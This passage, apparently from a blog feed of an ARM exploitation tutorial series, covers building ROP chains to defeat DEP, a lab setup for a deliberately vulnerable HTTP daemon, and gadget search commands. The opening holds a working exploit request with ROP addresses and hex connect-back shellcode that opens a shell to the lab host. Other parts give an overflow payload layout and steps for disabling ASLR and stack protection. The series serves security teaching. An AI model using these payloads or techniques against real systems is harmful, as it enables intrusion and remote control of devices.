<span class="nv">0xb6f35435</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>lr<span class="p">|</span><span class="nv">0xfffff001</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r1<span class="p">|</span><span class="nv">0xb6f5d251</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">|</span><span class="nv">0xb6f5d251</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r3<span class="p">|</span><span class="nv">0x56565656</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r7<span class="p">|</span><span class="nv">0xb6f61cb4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>PC<span class="p">|</span>
<span class="nv">0xb6e7ee54</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>R3<span class="p">|</span><span class="nv">0x57575757</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r7<span class="p">|</span><span class="nv">0xb6eb6038</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>pc<span class="p">|</span><span class="nv">0xb6f35435</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>lr<span class="p">|</span><span class="nv">0xb6f70b80</span><span class="w"> </span><span class="o">=</span>
<span class="p">|</span><span class="nv">0x10101010</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r1<span class="p">|</span><span class="nv">0xb6f2c2d0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>PC<span class="p">|</span><span class="nv">0xb6e8ed1d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>PC<span class="p">|</span>01308fe213ff2fe102200121921ac827513701df041c0aa14a701022023701df3f27201c491a01df201c012101df201c022101df04a052404940c2710b2701df02ff115cc0a8fa012f62696e2f736858<span class="o">]</span><span class="w"> </span>HTTP/1.1
</code></pre></div>
<p>After adding a gadget you can human-print your payload and check if the registers match with the planned values. </p>
<h4>General Obversations</h4>
<p>Be well aware: Not all registers are equal – at least on the used libc. Move something into R0 is easy...</p>
<div class="highlight"><pre><span></span><code><span class="o">(</span>ropper<span class="o">)</span><span class="w"> </span>dimi@dimi-lab<span class="w"> </span>~/arm-rop<span class="w"> </span>%<span class="w"> </span><span class="nv">count</span><span class="o">=</span><span class="m">0</span><span class="p">;</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="nv">$count</span><span class="w"> </span>-le<span class="w"> </span><span class="m">12</span><span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>R<span class="nv">$count</span><span class="s2">": "</span><span class="p">;</span><span class="w"> </span>ropper<span class="w"> </span>--file<span class="w"> </span>libc-2.28.so<span class="w"> </span>--quality<span class="w"> </span><span class="m">1</span><span class="w"> </span>--search<span class="w"> </span><span class="s2">"mov r</span><span class="nv">$count</span><span class="s2">,%"</span><span class="w"> </span><span class="m">2</span>>/dev/null<span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>wc<span class="w"> </span>-l<span class="p">;</span><span class="w"> </span><span class="nb">let</span><span class="w"> </span><span class="nv">count</span><span class="o">=</span>count+1<span class="p">;</span><span class="w"> </span><span class="k">done</span>
search<span class="w"> </span>mov<span class="w"> </span>R0,<span class="w"> </span>any
R0:<span class="w"> </span><span class="m">88</span>
R1:<span class="w"> </span><span class="m">14</span>
R2:<span class="w"> </span><span class="m">7</span>
R3:<span class="w"> </span><span class="m">8</span>
R4:<span class="w"> </span><span class="m">1</span>
R5:<span class="w"> </span><span class="m">1</span>
R6:<span class="w"> </span><span class="m">2</span>
R7:<span class="w"> </span><span class="m">1</span>
R8:<span class="w"> </span><span class="m">0</span>
R9:<span class="w"> </span><span class="m">0</span>
R10:<span class="w"> </span><span class="m">0</span>
R11:<span class="w"> </span><span class="m">0</span>
R12:<span class="w"> </span><span class="m">0</span>
</code></pre></div>
<p>... moving something out, maybe not so:</p>
<div class="highlight"><pre><span></span><code><span class="o">(</span>ropper<span class="o">)</span><span class="w"> </span>dimi@dimi-lab<span class="w"> </span>~/arm-rop<span class="w"> </span>%<span class="w"> </span><span class="nv">count</span><span class="o">=</span><span class="m">0</span><span class="p">;</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="nv">$count</span><span class="w"> </span>-le<span class="w"> </span><span class="m">12</span><span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>R<span class="nv">$count</span><span class="s2">": "</span><span class="p">;</span><span class="w"> </span>ropper<span class="w"> </span>--file<span class="w"> </span>libc-2.28.so<span class="w"> </span>--quality<span class="w"> </span><span class="m">1</span><span class="w"> </span>--search<span class="w"> </span><span class="s2">"mov %, r</span><span class="nv">$count</span><span class="s2">"</span><span class="w"> </span><span class="m">2</span>>/dev/null<span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>wc<span class="w"> </span>-l<span class="p">;</span><span class="w"> </span><span class="nb">let</span><span class="w"> </span><span class="nv">count</span><span class="o">=</span>count+1<span class="p">;</span><span class="w"> </span><span class="k">done</span>
search<span class="w"> </span>mov<span class="w"> </span>any,<span class="w"> </span>R0
R0:<span class="w"> </span><span class="m">0</span>
R1:<span class="w"> </span><span class="m">3</span>
R2:<span class="w"> </span><span class="m">6</span>
R3:<span class="w"> </span><span class="m">8</span>
R4:<span class="w"> </span><span class="m">13</span>
R5:<span class="w"> </span><span class="m">32</span>
R6:<span class="w"> </span><span class="m">25</span>
R7:<span class="w"> </span><span class="m">10</span>
R8:<span class="w"> </span><span class="m">8</span>
R9:<span class="w"> </span><span class="m">7</span>
R10:<span class="w"> </span><span class="m">5</span>
R11:<span class="w"> </span><span class="m">3</span>
R12:<span class="w"> </span><span class="m">4</span>
</code></pre></div>
<p>Thats only one example and only ARM (not ARMTHUMB), nonetheless interesting.</p>
<p>Another important point is: the less registers you pullute with your values, the better. As you saw earlier you might need registers which are "stack bound" – especially in processes which create threads, these might be rare.</p>
<h2>Action</h2>
<p><asciinema-player src="static/arm-exploitation-cast-4.cast" ></asciinema-player></p>
<hr>
<p><a href="/arm-exploitation-defeating-dep-execute-system.html"><< previous post of this series</a> | soon...?</p>
<hr>ARM Exploitation - Defeating DEP - execute system()2018-09-03T07:00:00+02:002018-09-03T07:00:00+02:00dimitag:blog.3or.de,2018-09-03:/arm-exploitation-defeating-dep-execute-system.html<p>How to defeat DEP on ARM - executing system()</p><h1>ARM recap and OS basics</h1>
<p>Since there are some great tutorials on ARM assembly and reverse engineering in general out there, I will only add some points I assume important for understanding ROP chaining.</p>
<p>If you worked through Azerias great <a href="https://azeria-labs.com/">ARM Assembly Labs</a> you are well equipped for this series! Actually, I assume you worked through
them. In the next post I will use the TCP connectback shellcode, she explained <a href="https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/">here</a>, since
I will not develop my own during this series.</p>
<h2>Leaf and non-leaf functions</h2>
<p>Consider the following source:</p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">leaf</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">a</span><span class="p">){</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">a</span><span class="o">+</span><span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">nonleaf</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">a</span><span class="p">){</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">leaf</span><span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="mi">2</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>Since nonleaf() calls leaf(), it is considered a non-leaf function. The difference is important since they differ in the epiloge:</p>
<p><img alt="leaf vs nonleaf function" src="images/arm-exploitation-rop-1-1.png"></p>
<p>Functions in ARM are called using the branch with link (<code>BL</code>) instruction, which loads PC+4 into <code>LR</code> and then branches off by loading the address of the called function into <code>PC</code>. The called function can then use <code>BX LR</code> to return to the caller. But think about a function which itself calls a function. The called function has to preserve <code>LR</code> on the stack using <code>PUSH {FP, LR}</code> and <code>POP {FP, PC}</code>, see nonleaf() in the example above), since it will be overwritten when <code>bl leaf</code> is called. Leaf functions, ones which do not call other functions, do not need to preserve <code>LR</code>, since it will not be overwritten.</p>
<p>The classic stack overflow overwrites the saved <code>LR</code> and hijacks the execution flow, when the saved <code>LR</code> is restored into <code>PC</code>, to return to the caller. If we want to
exploit leaf-functions, we have to overwrite the stack until we reach the nonleaf surrounding the leaf function and hijack the execution flow from there.</p>
<p>Summary: leaf and non-leaf function differ in their <em>prologue</em> an <em>epilogue</em>. We'll need to handle <code>BX LR</code> instructions in a special way, more on that in the following post.
For the following simple example we can ignore that.</p>
<p><strong>Try to get the basic idea of ROP chains using the following simple example and use the next post as an in-depth explanation.</strong></p>
<h1>ROP theory</h1>
<p>Under the assumption that we could hijack the process execution flow, what next? Many modern CPUs and operating systems try to make the world a little harder for an attacker, who gained control
over the process execution flow, by implementing countermeasures like DEP and ASLR.</p>
<p>In a process protected by <em>DEP</em> (Data Execution Prevention) - there shouldn't be any part which is executable and writeable at the same time: Libraries and .text segments have only read and execute permissions (r-x),
.data, stack and heap are read and write only (rw-).</p>
<p>In the case of a buffer overflow an attacker is able to write more data then expected by the developers into a buffer located
either on the stack or the heap - into memory regions which are only (rw-). Therefore an attacker can inject his own code into the process, but neither can hijack the execution flow nor
execute arbitary commands, like shellcode. By using a technique called <em>ROP</em> – Return Oriented Programming – an attacker nontheless can gain back many possibilies, we lust due to DEP. The following sections will expain how.</p>
<p>The basic idea of ROP: search in executable sections of the vulnerable binary (.text, mapped libraries) to find <em>gadgets</em>. A gadget consist of any number of instructions, which the last one let us further control the execution flow (e.g. chain multiple gadgets, therefore let's call them <em>chaining instructions</em>). The other instructions or parts of the gadget will help us to fullfill – step by step – our main goal. If your goal is complex, the ROP chain can get pretty long.</p>
<p>In this blog post series we will achieve two separate goals using ROP chains:</p>
<ul>
<li>execute system('/bin/sh') (this post)</li>
<li>regain back a executeable stack region and execute our own shellcode (next post)</li>
</ul>
<p>In my imagination gadgets are little functions which <strong>do have side effects</strong> on other gadgets and whose "parameters" are passed – if needed – on the stack. The ROP artists task is to orchestrate the gadgets in a way that</p>
<ul>
<li>the chain is small</li>
<li>the side effects are used and combined wisely</li>
<li>the side effects are minimal</li>
<li>the goal is achieved</li>
</ul>
<p>Some words on ROP and dependency on library and binary versions: Using gadgets out of libraries and the binary, makes the ROP chain dependable on the
used versions and compiler optimization. If the target is going to be an embedded systems that's not problem at all, since the exact same firmware
is written on thousands of devices.</p>
<h1>Example 1 - Executing system() using ROP</h1>
<p>Let's try to understand the basic idea using a simple example. A detailed explanation with a more complex example will follow in the next post.</p>
<p>The following picture shows a stack overflow happening in a function, while it executes. As soon as the function returns we control execution flow through the saved, then
overwritten and finnally <code>POP {PC}</code>'d <code>LR</code> value: When the function epilogue executes, it will clean up local variables and restore the state of the saved
registers. Two things will happen:</p>
<ol>
<li>the stack pointer <code>SP</code> will move towards <code>0xFFFFFFFF</code> pointing to the memory location following the saved LR.</li>
<li>The saved <code>LR</code> will get popped into <code>PC</code> to return the execution flow back to the calling function. As we have overwritten the saved <code>LR</code>
value, we control the execution flow.</li>
</ol>
<p>The stack layout after overflow, before epilogue execution:</p>
<p><img alt="basic stack overflow while execution" src="images/arm-exploitation-rop-1.png"></p>
<p>The state after epilogue execution:</p>
<p><img alt="basic stack overflow after epilogue" src="images/arm-exploitation-rop-2.png"></p>
<p>Imagine that we want to exploit a stack overflow on a local root process by executing <code>system(/bin/sh;#)</code>.
For a successfull system()-call we have to load a pointer to the string "/bin/sh;#" into <code>R0</code>. We are going to put the string "/bin/sh;#"
onto the stack and then use gadgets to
put a pointer to this string into r0 and then redirect the execution flow to <code>system()</code>.</p>
<p>Let's check out the following gadgets I found in my binary. They reside in the (r-x) section of the dynamically loaded libc library of myhttpd.</p>
<div class="highlight"><pre><span></span><code><span class="mi">1</span><span class="nx">st</span><span class="w"> </span><span class="nx">gadget</span><span class="o">:</span><span class="w"> </span><span class="mh">0x0001053c</span><span class="o">:</span><span class="w"> </span><span class="nx">pop</span><span class="w"> </span><span class="p">{</span><span class="nx">r4</span><span class="o">,</span><span class="w"> </span><span class="nx">pc</span><span class="p">};</span>
<span class="mi">2</span><span class="nx">nd</span><span class="w"> </span><span class="nx">gadget</span><span class="o">:</span><span class="w"> </span><span class="mh">0x00039074</span><span class="o">:</span><span class="w"> </span><span class="nx">ldr</span><span class="w"> </span><span class="nx">r0</span><span class="o">,</span><span class="w"> </span><span class="p">[</span><span class="nx">sp</span><span class="o">,</span><span class="w"> </span><span class="err">#</span><span class="mi">4</span><span class="p">];</span><span class="w"> </span><span class="nx">blx</span><span class="w"> </span><span class="nx">r4</span><span class="o">;</span>
</code></pre></div>
<p>For now, take these as granted. I will explain how to find gadgets in the next post of this series.</p>
<p>We are going to redirect the execution flow from the overwritten <code>LR</code> to the first gadget. Then, using the chaining instruction (<code>POP {...,PC}</code>) from the first gadget, we will further forward the exeuction flow to the second gadget.
Additionally we can use the first gadget to prepare (<em>using the side effect</em>) where the chaining instruction of the second gadget (<code>blx r4</code>) will forward the flow to.</p>
<p>The first gadget has two "parameters", which we provide on the stack (the value for <code>R4</code> and <code>PC</code>). We continue from the previous pictured state, where the epilogue of the
vulnerable function was executed by preparing our overflow data for the execution of the 1st gadget:</p>
<p><img alt="basic stack overflow after epilogue, prepared for 1st gadget" src="images/arm-exploitation-rop-3.png"></p>
<!-- pink: #FF00FF
orange: FF8000
green: 00CC00
red: FF0000
-->
<p>Since we control <span style="color:#00CC00"> <code>PC</code> </span> we put there the address of the first gadget. After the epilogue, the vulnerable function will continue there and <code>POP</code> the two values we prepared for the 1st gadget from the stack: <span style="color:#FF00FF"> 0x000aabbc into R4 </span> and <span style="color:#FF8000"> 0x00039074 into PC </span>. With that, we achieved that <code>R4</code> is prepared for the second gadget and the ROP flow continues with the execution of the <span style="color:#FF8000">second gadget</span>.</p>
<p>Lets execute the first gadget using the prepared stack:</p>
<div class="highlight"><pre><span></span><code><span class="mi">1</span><span class="nx">st</span><span class="w"> </span><span class="nx">gadget</span><span class="o">:</span><span class="w"> </span><span class="mh">0x0001053c</span><span class="o">:</span><span class="w"> </span><span class="nx">pop</span><span class="w"> </span><span class="p">{</span><span class="nx">r4</span><span class="o">,</span><span class="w"> </span><span class="nx">pc</span><span class="p">};</span>
</code></pre></div>
<p><img alt="basic stack overflow after execution of first gadget" src="images/arm-exploitation-rop-4.png"></p>
<p><code>SP</code> moved, <code>R4</code> and <code>PC</code> changed.</p>
<p>Let's continue with the second gadget. The second gadget has 1 "parameter" – the value we want to load into <code>R0</code>, which we serve on the stack (<code>SP + 4</code>). Actually, the second
gadget will consume 2 parameters (or 8 bytes) from the stack, but the first (<code>SP + 0</code>) will only be garbage.</p>
<p>With the appopriate stack layout the second gadget achieves two things: First, it is going to move a pointer to /bin/sh;# into <code>R0</code> and then
<span style="color:#FF00FF">jump to system()</span> – the value we loaded into <code>R4</code> using the 1st gadget. Again:
since the chaining instruction – in this case – is using <code>R4</code> we need to put the address of <span style="color:#FF00FF">system()</span> into <code>R4</code>.</p>
<p>Lets prepare the stack for the execution of the second gadget:</p>
<p><img alt="basic stack overflow after execution of first gadget, stack prepared for execution of 2nd gadget" src="images/arm-exploitation-rop-5.png"></p>
<p>And then execute the second gadget:</p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="nx">nd</span><span class="w"> </span><span class="nx">gadget</span><span class="o">:</span><span class="w"> </span><span class="mh">0x00039074</span><span class="o">:</span><span class="w"> </span><span class="nx">ldr</span><span class="w"> </span><span class="nx">r0</span><span class="o">,</span><span class="w"> </span><span class="p">[</span><span class="nx">sp</span><span class="o">,</span><span class="w"> </span><span class="err">#</span><span class="mi">4</span><span class="p">];</span><span class="w"> </span><span class="nx">blx</span><span class="w"> </span><span class="nx">r4</span><span class="o">;</span>
</code></pre></div>
<p><img alt="basic stack overflow after execution of 2nd gadget" src="images/arm-exploitation-rop-6.png"></p>
<p>The second gadget loaded <code>SP+4</code> into <code>R0</code> and then branched to <code>R4</code>, which we prepared already using the first gadget to point to system() -
we executed <code>system(/bin/sh;#)</code>.</p>
<p>Depending on the size of the overflown buffer and other local variables, the injected overflow string will look something like this:</p>
<div class="highlight"><pre><span></span><code><span class="s1">'A'</span><span class="w"> </span>*<span class="w"> </span>n<span class="w"> </span>+<span class="w"> </span>0x51525354<span class="w"> </span>+<span class="w"> </span>0x0001053c<span class="w"> </span>+<span class="w"> </span>0x000aabbc<span class="w"> </span>+<span class="w"> </span>0x00039074<span class="w"> </span>+<span class="w"> </span>0x51525354<span class="w"> </span>+<span class="w"> </span><span class="s1">'/bin/sh;#'</span>
</code></pre></div>
<p>Where <code>n</code> depends on the stack layout (e.g. the size <code>m</code> of local variables like <code>buffer[m]</code>,...) of the vulnerable function
and 0x51525354 beeing garbage values. Remember:
It is highly likely that you are exploting a little-endian system.
When injecting the shown string into a process, we have to adjust the values. In the next post I will introduce a script which takes care of this.</p>
<p>Some remarks on that example:</p>
<ul>
<li>You might have notices that we use ';#' at the end of your string. That solves an important problem we have had: The NULL byte which we normally have to
insert to tell <code>system()</code>, where to stop reading the command line parameter. In our case ';' ends one command and # introduces a comment, so everything following the # is
ignored by <code>system()</code>. Alternatively you could use gadgets to insert NULL at the end of the string...</li>
<li>I tried to introduce the basic idea. That's why I left our one important point: How do we find the addresses we inserted in our ROP chain (like 0x00039074, 0x000aabbc,...)?
I already explained that we find gadgets in the .text segment of our binary or its loaded libraries. We use the base address, the address where the libary we
used to find gadgets in, is loaded into memory, plus the offset to the gadget, in our chain. I will explain in the following post how to find the gadgets, their offsets
and base addresses.</li>
</ul>
<hr>
<p><a href="/arm-exploitation-setup-and-tools.html"><< previous post of this series</a> | <a href="/arm-exploitation-defeating-dep-executing-mprotect.html">next post of this series >></a></p>
<hr>ARM Exploitation - Setup and Tools2018-09-03T06:00:00+02:002018-09-03T06:00:00+02:00dimitag:blog.3or.de,2018-09-03:/arm-exploitation-setup-and-tools.html<p>Intro to the setup and tools used this tutorial</p><p>This lab is build around a vulnerable HTTP daemon which runs on a virtualized QEMU environment on an eumulated ARMv7 Cortex-A15 processor.</p>
<div class="highlight"><pre><span></span><code>+------------------+
<span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span>armbox<span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span>+-----------+<span class="w"> </span>attacking<span class="w"> </span>myhttpd
<span class="p">|</span><span class="w"> </span><span class="p">|</span>myhttpd<span class="w"> </span><span class="o">||</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span>TCP<span class="w"> </span><span class="m">8080</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><----------------+
<span class="p">|</span><span class="w"> </span>+-----------+
<span class="p">|</span><span class="w"> </span><span class="p">|</span>
+------------------+
</code></pre></div>
<h1>Use the prebuild environment</h1>
<p>You got 2 options: Build you own lab environment and build your own ROP chain. Since Archlinux updated libc, the ROP chain I will show you in the last part of this series will not work. The second
option is to <a href="https://www.dropbox.com/s/vpy9pnngpnnoqmf/armbox.tgz?dl=0">download my prepared armbox image</a>, boot it and enjoy a working ROP exploit.</p>
<p>If you choose the second option you need to add a bridge on your host called "vmboxnet", IP: 192.168.250.1/24. The armbox will add itself to that bridge and will be reachable on 192.168.250.100/24.</p>
<p>You will also need to to create the file <code>/etc/qemu/bridge.conf</code> and add:</p>
<p><code>allow vmboxnet</code></p>
<p>to that file so that the qemu vm boots successfully.</p>
<p>If you choose the first option, continue. If you want to know how I build the armbox, continue.</p>
<h1>Set up the QEMU environment on your own</h1>
<p>I prepared scripts, the vulnerable daemon and everything else you need to successfully write your own ROP chain. You can find the latest version of the scripts and the vulnerable daemon in my Github repository. If you have suggestions to improve the setup, I'd happy to include them!</p>
<p>Clone the whole repo. For this part of this series you will need the scripts in the <em>armbox</em> directory.</p>
<p>QEMU is a pain. I wrote a set of scripts to build a RAW QEMU ArchLinuxArm image, which boots in QEMUs with a emulated Cortex-A15. Use the scripts as reference - I do not make any checks for failed commands. I used the "-M virt" as emulated maschine in QEMU.</p>
<p>The basic process to set up the <strong>initial QEMU armbox</strong> (folder in repo: inital_image)</p>
<ol>
<li>Download the latest ArchLinuxARM image using <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/initial_image/0_download_archlinuxarm.sh">0_download_archlinuxarm.sh</a></li>
<li><a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/initial_image/1_create_rootimg.sh">1_create_rootimg.sh</a> will create a RAW QEMU image, loopback-mount it, extract the downloaded ArchLinuxARM-armv7-latest.tar.gz into the mounted image.</li>
<li><a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/initial_image/2_create_initramfs.sh">2_create_initramfs.sh</a> will create an initramfs. This initramfs will contain <strong>ALL</strong> current kernel modules. That way we can be sure that all QEMU devices are initialized correctly in initramfs during boot. This script will extract the latest modules from the downloaded ArchLinuxArm tar.gz file and repack them into a new all-modules containing initramfs.</li>
<li><a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/initial_image/3_get_zImage.sh">3_get_zImage.sh</a> will extract the kernel image (zImage).</li>
<li>boot your device using <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/initial_image/4_start_armbox_initial.sh">4_start_armbox_initial.sh</a>. Take a look at the QEMU start command, which will explain the previous scripts further more.</li>
</ol>
<p>After you booted the initial image successfully, you may update the image. To update the image you have to initialize the archlinuxarm keyring:</p>
<p><code>pacman-key --populate archlinuxarm</code></p>
<p>Then you can update and install packages:</p>
<p><code>pacman -Syu</code></p>
<p><code>pacman -S gdb git gcc libmicrohttpd</code></p>
<p>After the first kernel update inside the armbox use <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/1_get_latest_initramfs.sh">1_get_latest_initramfs.sh</a> to
extract the latest initramfs and kernel image out of the updated armbox.img RAW image partition. We need these files to boot our system in QEMU (we add the
initramfs and the kernel image (zImage) as parameters, when <code>qemu-system-arm</code> is executed. See <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/2_start_armbox_latest.sh">4_start_armbox_initial.sh</a>). You have to extract the initramfs
and the kernel image ** after each kernel update**!</p>
<p><em>Why the extraction process?</em></p>
<p>The qemu-system-arm's "-M virt" emulated hardware needs kernel modules which are not included in the default initramfs of ArchLinuxARM. Thats why I added a script to
prepare an initramfs which includes all-modules.
When Archlinux updates the kernel on a booted installation, an autodetect script checks the current hardware and includes only the modules which are really needed for booting YOUR hardware into the new initramfs. Thats also the reason for the really big
initial initramfs my script builds and the comparatively small one, after the first kernel update, extracted by <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/1_get_latest_initramfs.sh">1_get_latest_initramfs.sh</a>.</p>
<p>You can use the <a href="https://github.com/dim0x69/arm-exploitation-rop/blob/master/armbox/2_start_armbox_latest.sh">2_start_armbox_latest.sh</a> to boot QEMU using the extracted initramfs and kernel image.</p>
<p>The armbox has 2 network interfaces, one NATed and the other one is added to a bridge on the host called <em>vmboxnet</em>. On my host thats an interface on which I bind services (like SSH and in this case myhttpd) to access them. If you see IP addresses through this post:</p>
<ul>
<li>192.168.250.1 is the hosts IP on the vmboxnet</li>
<li>192.168.250.100 is the virtualized <em>armbox</em> QEMU guest on <em>vmboxnet</em></li>
</ul>
<p>You will also need to to create the file <code>/etc/qemu/bridge.conf</code> and add:</p>
<p><code>allow vmboxnet</code></p>
<p>to that file so that the qemu vm boots successfully.</p>
<p>** Important: (For now) disable ASLR on the virtual environment:**</p>
<p><code>echo 0 > /proc/sys/kernel/randomize_va_space</code></p>
<p>To connect to the armbox, you need to set the IP:</p>
<p><code>ip addr add 192.168.250.100/24 dev eth0</code></p>
<h1>myhttpd: vulnerable microhttpd implementation</h1>
<p>I created a simple vulnerable HTTP daemon based on GNU Libmicrohttpd's example code. Spot the Stack Based Overflow :)</p>
<p>Find the code in my <a href="https://github.com/dim0x69/arm-exploitation-rop">GitHub</a></p>
<p>You will need libmicrohttpd installed on the armbox. Archlinux has a precompiled package: <code>pacman -S libmicrohttpd</code></p>
<p>Then compile myhttpd:</p>
<div class="highlight"><pre><span></span><code>gcc<span class="w"> </span>-fno-stack-protector<span class="w"> </span>-lmicrohttpd<span class="w"> </span>httpd.c<span class="w"> </span>-o<span class="w"> </span>myhttpd
</code></pre></div>
<p>and copy it into the folder <code>/usr/sbin</code>.</p>
<p>For easier use I wrote a systemd service file, which restarts myhttpd, after it crashed:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@armbox<span class="w"> </span>microhttps<span class="o">]</span><span class="c1"># cat /etc/systemd/system/myhttpd.service</span>
<span class="o">[</span>Unit<span class="o">]</span>
<span class="nv">Description</span><span class="o">=</span>myhttpd
<span class="o">[</span>Service<span class="o">]</span>
<span class="nv">ExecStart</span><span class="o">=</span>/usr/sbin/myhttpd<span class="w"> </span><span class="m">8080</span>
<span class="nv">Restart</span><span class="o">=</span>always
<span class="o">[</span>Install<span class="o">]</span>
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
</code></pre></div>
<div class="highlight"><pre><span></span><code>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>myhttpd
systemctl<span class="w"> </span>start<span class="w"> </span>myhttpd
</code></pre></div>
<h1>Tools</h1>
<p>I am going to use the latest radare2 version, together with gdbserver running on the armbox. Through the <em>vmboxnet</em> interface I connect radare2 to armboxnet.</p>
<p>For reference:</p>
<div class="highlight"><pre><span></span><code>armbox:<span class="w"> </span><span class="k">while</span><span class="w"> </span>true<span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span>gdbserver<span class="w"> </span>--attach<span class="w"> </span>:5000<span class="w"> </span><span class="k">$(</span>pidof<span class="w"> </span>myhttpd<span class="k">)</span><span class="p">;</span><span class="k">done</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>host:<span class="w"> </span>r2<span class="w"> </span>-a<span class="w"> </span>arm<span class="w"> </span>-D<span class="w"> </span>gdb<span class="w"> </span>gdb://192.168.250.100:5000
</code></pre></div>
<hr>
<p><a href="/arm-exploitation-building-rop-chains.html"><< previous post of this series</a> | <a href="/arm-exploitation-defeating-dep-execute-system.html">next post of this series >></a></p>
<hr>ARM Exploitation: Return oriented Programming2018-09-03T05:00:00+02:002018-09-03T05:00:00+02:00dimitag:blog.3or.de,2018-09-03:/arm-exploitation-return-oriented-programming.html<p>How to exploit ARM devices with W ⊻ X memory protection: Return oriented Programming on ARM.</p><h1>Building ROP chains</h1>
<p>This series is about exploiting simple stack overflow vulnerabilities using return oriented programming (ROP) to defeat data execution prevention - DEP. There are
three posts in this series. The posts got pretty dense, there is a lot of stuff to understand. If you miss anything, find bugs
(language / grammar / ...), have ideas for improvements or any questions, do not hesitate to contact (via <a href="https://twitter.com/dim0x69">Twitter</a> or <a href="/pages/impressum-kontakt.html">contact
page</a>) me. I am happy to answer your questions and incorporate improvements in this post.</p>
<p>Latest Update of this series: 03.12.2018</p>
<h2>Changelog</h2>
<ul>
<li>03.12.2018: Added a working, prebuild environment to ease the process of getting started. See <a href="/arm-exploitation-setup-and-tools.html">first</a> part. </li>
<li>13.10.2018: Updated "Setup & Tool with hints how to initialize the Archlinux ARM keyring and commands to install the nesessary packages. Also added command line switch to disable GCC stack canaries.</li>
<li>07.09.2018: Added note to successfully set up the bridge interface with qemu (in the <a href="/arm-exploitation-setup-and-tools.html">first</a> part).</li>
</ul>
<hr>
<p><span style="font-size:150%"> 1 - <a href="/arm-exploitation-setup-and-tools.html">ARM Exploitation - Setup and Tools</a> </span></p>
<p>In the first part I describe the setup I used, which includes a set of script to build a QEMU based ArchLinux ARM environment and a vulnerable HTTP daemon, which is exploited during this series.</p>
<hr>
<p><span style="font-size:150%">2 - <a href="/arm-exploitation-defeating-dep-execute-system.html">ARM Exploitation - Defeating DEP - execute system() </a> </span></p>
<p>In the second part I try to explain the general idea of ROP chains, ROP gadgets and how to chain them to achieve a goal. ROP theory!</p>
<hr>
<p><span style="font-size:150%">3 - <a href="/arm-exploitation-defeating-dep-executing-mprotect.html">ARM Exploitation - Defeating DEP - executing mprotect()</a> </span></p>
<p>In the third part we will get into the nitty-gritty details of a ROP chain. I will explain where and how to find gadgets, how and where to place the ROP chain. In the end we will have regained back the permissions DEP took from us!</p>
<hr>
<h1>... on the shoulders of giants (ROP history)</h1>
<p>There are thousands of great blogs, videos, tutorials, papers and magazines out there. Many great minds publish, write, draw and record stuff, make
it freely available for everyone. Never in history it was that easy to learn something – just invest some time and effort. I also had the opportunity to
enjoy a great and recommendable training by <a href="https://twitter.com/therealsaumil">@therealsaumil</a> on ARM exploitation during BlackHat this year - you can find infos, resources and a ROP challenge at his <a href="http://blog.exploitlab.net/">blog</a>.</p>
<p>I can't name all of the great minds who influenced me over the years without forgetting somebody. There is a lot of great work on ROP on different platforms. A incomplete list of resources you want to consider reading in parallel to, after or before reading my post, would be:</p>
<p><img alt="Tim Kornau diploma thesis" src="images/arm-exploitation-rop-8.png"></p>
<p><a href="https://static.googleusercontent.com/media/www.zynamics.com/en//downloads/kornau-tim--diplomarbeit--rop.pdf">source: <em>Tim Kornaus diploma thesis</em></a></p>
<h2>return-into-libc</h2>
